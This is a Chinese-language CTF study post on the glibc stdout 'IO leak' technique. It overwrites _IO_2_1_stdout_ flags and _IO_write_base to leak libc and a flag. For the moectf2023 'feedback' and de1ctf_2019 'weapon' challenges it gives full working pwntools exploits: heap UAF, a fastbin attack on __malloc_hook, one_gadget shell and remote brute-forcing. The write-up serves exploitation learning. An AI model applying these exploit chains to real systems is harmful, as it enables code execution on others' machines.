学习于:关于IO leak的学习总结 | ZIKH26's Blog
一,前置背景知识:
当开启了FULL RELRO保护,以及没有show等函数的时候,我们可以通过篡改_IO_2_1_stdout_结构体中_IO_write_base和flags等来绕过源码中的检查(可以去搜索一下看看更好理解),当程序遇到puts函数的时候,使得我们可以打印出_IO_write_base与_IO_write_ptr之间的东西(听同学讲这个之后,一直没搞懂_IO_write_ptr和_IO_write_end的区别,它们存的东西是一样的,但是在一些地方用的是ptr又有一些地方用的是end),其他的关于FILE结构体我在这就不多作讲述,wiki以及其他师傅写得文章讲的都很好。
二,利用方法:
首先我们要利用它来泄露libc地址,我们都知道_IO_2_1_stdout_结构体的地址后三位是不会变的?(开了保护的情况),修改其_flags
为0xfbad1800(关于为什么,可以去看看这位师傅的文章IO leak - 先知社区 (aliyun.com)前半部分),将后面三个read指针置空,同时修改_IO_write_base最后一字节的的地址为‘/x00’(当然可以不修改为00,但是要修改得比ptr小才行,所以改成00就肯定会比ptr小是吧,当然如果满足这个条件你喜欢改什么就改什么,但是保证中间可以泄露一些函数的地址就行,这样你利用gdb调试就可以找到基地址同时算出libc偏移了,当然如果要修改两字节那么毋庸置疑就需要爆破了。)
三例题分析:
moectf2023feedback(libc版本:2.31):
main函数
read_flag():
vuln():
(下面内容来自官方wp:MoeCTF_2023/Official_Writeup/Pwn.md at main · XDSEC/MoeCTF_2023 (github.com)),写的很清楚了,我就不说废话了呜呜。
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
保护全开,题目中选项存在数组下溢,通过IDA可以发现可以使用的指针有stdin stdout stderr
以及got表项,以及有一个指向bss段的指针__dso_handle
但是由于程序开启了PIE,因此修改__dso_handle
得到任意地址读写并不可行(这是什么方法,没了解过,如果有懂得师傅可以联系我)
而got表项指向位置为代码段,不可写,因此也不可行
此时就转向了三个文件流,使用stdout leak
来泄露libc地址,且程序已经将flag读入libc中,再次使用stdout leak
即可泄露出flag
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python3 from pwn import* context.log_level = 'debug' io = process('./feedback') elf = ELF('./feedback') def DEBUG(): attach(io, 'b vuln') pause() def feedback(index, content): io.recvuntil(b'Which list do you want to write?') io.send(str(index).encode()) io.recvuntil(b'Then you can input your feedback.') io.send(content) feedback(-8, p64(0xfbad1800) + p64(0)*3 + b'\x00' + b'\n') #stdout泄露libc io.recvuntil(b'\x00'*8) libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ec980 log.success('libcbase ===> '+hex(libcbase)) feedback(-8, p64(0xfbad1800) + p64(0)*3 + p64(libcbase+0x1f1700) + p64(libcbase+0x1f1750) + p64(0)*3) #stdout泄露flag #DEBUG() io.interactive()
de1ctf_2019_weapon(libc版本:2.23):
main函数:
malloc_chunk()
申请堆块再输入内容,但是堆块大小不允许大于0x60,所以不能申请unsort_chunk
free_chunk():
很明显的uaf,可以doublefree申请到结构体那里去
edit_chunk(),
read_参数第一个是输入的地址,第二个是长度,在malloc里面我们知道它就是我们输入的size大小,如果我们申请的chunk_size小于内容size,也没有检查,那么这个read_就可以造成溢出了,这样我们就可以人为的造出一个unsort chunk了,然后将 unsorted bin 中带有 main_arena+0x88 的链条放入 fastbin 中,再通过 edit 修改 main_arena+0x88 为 &_IO_2_1stdout-0x43,io_leak后再调用puts就泄露出 libc_base 了,一旦我们获得了libc_base地址,我们可以利用fastbin攻击构造两个链表,然后申请到 malloc_hook-0x23 ,直接打 one_gadget 就行。
exp(感谢:fa1c4师傅):关掉debug爆破得快一些
from pwn import * elf = ELF('./weapon') libc = ELF("./libc-2.23.so") context(arch="amd64", os="linux") #context.log_level = "debug" def add(size, index, name): io.sendlineafter('choice >>', '1') io.sendlineafter('weapon: ', str(size)) io.sendlineafter('index: ', str(index)) io.sendafter('name:', name) def free(index): io.sendlineafter('choice >>', '2') io.sendlineafter('idx :', str(index)) def edit(index, name): io.sendlineafter('choice >>', '3') io.sendlineafter('idx: ', str(index)) io.sendafter('content:', name) def pwn(): global io io = remote('node4.buuoj.cn', 29064) add(0x58, 0, cyclic(0x48) + p64(0x61)) add(0x60, 1, '1') add(0x18, 2, '2') add(0x58, 3, '3') free(1) free(3) free(0) edit(0, p8(0x50)) add(0x58, 4, '4') add(0x58, 5, cyclic(8) + p64(0x91)) free(1) edit(1, p16(0xF5DD)) edit(5, cyclic(8) + p64(0x71)) add(0x60, 6, '6') payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x00' add(0x60, 7, payload) libc_base = u64(io.recvuntil(b'\x7f',timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3c5600 one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] free(1) edit(1, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) add(0x60, 1, '1') payload = cyclic(0xb) + p64(libc_base + one_gadgets[1]) + p64(libc_base + libc.sym['realloc'] + 4) add(0x60, 8, payload) io.sendlineafter('choice >>', '1') io.sendlineafter('weapon: ', str(1)) io.sendlineafter('index: ', str(1)) io.interactive() if __name__=='__main__': while 1: try: pwn() except: io.close()
(如有问题请联系我)